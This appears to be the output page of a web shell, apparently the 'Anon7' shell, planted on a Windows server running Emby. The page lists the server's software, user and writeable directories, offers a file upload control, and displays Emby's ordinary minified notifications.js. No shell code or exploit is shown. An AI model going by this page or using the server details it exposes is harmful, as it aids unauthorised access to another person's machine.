KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT SERVER-PC 10.0 build 26200 (Windows 11) AMD64
User : ServerPC ( 0)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  C:/Users/ServerPC/AppData/Roaming/Emby-Server/system/dashboard-ui/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : C:/Users/ServerPC/AppData/Roaming/Emby-Server/system/dashboard-ui/modules/notifications.js
define(["./common/globalize.js","./emby-apiclient/events.js","./common/input/api.js"],function(_globalize,_events,_api){function showToastFromNotification(notification){return options=notification.title,Emby.importModule("./modules/toast/toast.js").then(function(toast){return toast(options)});var options}function showNotification(notification,apiClient){if("undefined"==typeof Notification||!navigator.serviceWorker||!Emby.serviceWorkerEnabled)return showToastFromNotification(notification);notification.timestamp=Date.now(),notification.renotify=!0,notification.tag+=apiClient.serverId(),!notification.data&&notification.actions&&(notification.data=apiClient.serverId());function onFailure(){return showToastFromNotification(notification)}navigator.serviceWorker.getRegistration().then(function(reg){return Notification.requestPermission().then(function(permission){return"granted"!==permission?showToastFromNotification(notification):reg.showNotification(notification.title,notification).catch(onFailure)})},onFailure)}function showPackageInstallNotification(apiClient,installation,status){apiClient.getCurrentUser().then(function(user){user.Policy.IsAdministrator&&(user={tag:status},"PackageInstallationCompleted"===status?(user.title=_globalize.default.translate("PackageInstallCompleted").replace("{0}",installation.Name+" "+installation.Version),user.actions=[{action:"restartserver",title:_globalize.default.translate("RestartServer")}]):"PackageInstallationCancelled"===status?user.title=_globalize.default.translate("PackageInstallCancelled").replace("{0}",installation.Name+" "+installation.Version):"PackageInstallationFailed"===status?user.title=_globalize.default.translate("PackageInstallFailed").replace("{0}",installation.Name+" "+installation.Version):"PackageInstalling"===status&&(user.title=_globalize.default.translate("InstallingPackage").replace("{0}",installation.Name+" "+installation.Version),installation.PercentComplete)&&(user.body=installation.PercentComplete+"%"),user.title)&&showNotification(user,apiClient)})}_events.default.on(_api.default,"PackageInstallationCompleted",function(e,apiClient,data){showPackageInstallNotification(apiClient,data,"PackageInstallationCompleted")}),_events.default.on(_api.default,"PackageInstallationFailed",function(e,apiClient,data){showPackageInstallNotification(apiClient,data,"PackageInstallationFailed")}),_events.default.on(_api.default,"PackageInstallationCancelled",function(e,apiClient,data){showPackageInstallNotification(apiClient,data,"PackageInstallationCancelled")}),_events.default.on(_api.default,"PackageInstalling",function(e,apiClient,data){showPackageInstallNotification(apiClient,data,"PackageInstalling")}),_events.default.on(_api.default,"ServerShuttingDown",function(e,apiClient,data){showNotification({title:_globalize.default.translate("ServerNameIsShuttingDown",apiClient.serverName()),tag:"ServerShuttingDown"},apiClient)}),_events.default.on(_api.default,"ServerRestarting",function(e,apiClient,data){showNotification({title:_globalize.default.translate("ServerNameIsRestarting",apiClient.serverName()),tag:"ServerRestarting"},apiClient)}),_events.default.on(_api.default,"RestartRequired",function(e,apiClient){showNotification({title:_globalize.default.translate("PleaseRestartServerName",apiClient.serverName()),tag:"RestartRequired",actions:[{action:"restartserver",title:_globalize.default.translate("RestartServer")}]},apiClient)})});

Anon7 - 2021